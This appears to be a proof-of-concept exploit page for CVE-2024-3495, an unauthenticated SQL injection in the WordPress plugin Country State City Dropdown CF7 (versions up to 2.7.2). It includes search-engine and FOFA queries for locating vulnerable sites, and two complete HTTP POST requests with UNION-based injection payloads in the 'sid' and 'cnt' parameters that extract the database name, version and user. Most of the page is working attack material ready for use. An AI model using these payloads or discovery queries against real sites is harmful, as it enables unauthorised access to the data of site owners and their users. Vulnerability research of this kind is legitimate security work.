## https://sploitus.com/exploit?id=EDF4B3F8-DDF4-5196-A375-EC81B8BC18F1
# CVE-2024-3495-Poc
CVE-2024-3495 Country State City Dropdown CF7 <= 2.7.2 - Unauthenticated SQL Injection
Description
The Country State City Dropdown CF7 plugin for WordPress is vulnerable to SQL Injection via the โcntโ and 'sid' parameters in versions up to, and including, 2.7.2 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query
https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/country-state-city-auto-dropdown/country-state-city-dropdown-cf7-272-unauthenticated-sql-injection
```inurl:"/wp-content/plugins/country-state-city-auto-dropdown/"```
```
https://x.com/fofabot/status/1793477848428364155
FOFA Query: body="/wp-content/plugins/country-state-city-auto-dropdown/"
https://en.fofa.info/result?qbase64=Ym9keT0iL3dwLWNvbnRlbnQvcGx1Z2lucy9jb3VudHJ5LXN0YXRlLWNpdHktYXV0by1kcm9wZG93bi8i
```
File: includes\ajax-actions.php
![image](https://github.com/truonghuuphuc/CVE-2024-3495-Poc/assets/20487674/e29eb5d1-c90d-4f79-8409-cccd213ac18c)
Found nonce
![image](https://github.com/truonghuuphuc/CVE-2024-3495-Poc/assets/20487674/c605bb8f-65f7-4425-84d7-ac9285568be7)
Poc:
```
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: <Host>
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 172
action=tc_csca_get_cities&nonce_ajax={{nonce}}&sid=1+or+0+union+select+concat(0x64617461626173653a,database(),0x7c76657273696f6e3a,version(),0x7c757365723a,user()),2,3--+-
```
```
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: <Host>
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 172
action=tc_csca_get_states&nonce_ajax={{nonce}}&cnt=1+or+0+union+select+concat(0x64617461626173653a,database(),0x7c76657273696f6e3a,version(),0x7c757365723a,user()),2,3--+-
```
![image](https://github.com/truonghuuphuc/CVE-2024-3495-Poc/assets/20487674/350142b4-e5d2-43a2-a266-9cc5fd846f7c)
![image](https://github.com/truonghuuphuc/CVE-2024-3495-Poc/assets/20487674/8e8053b3-2185-4a6e-983b-84afbab385b4)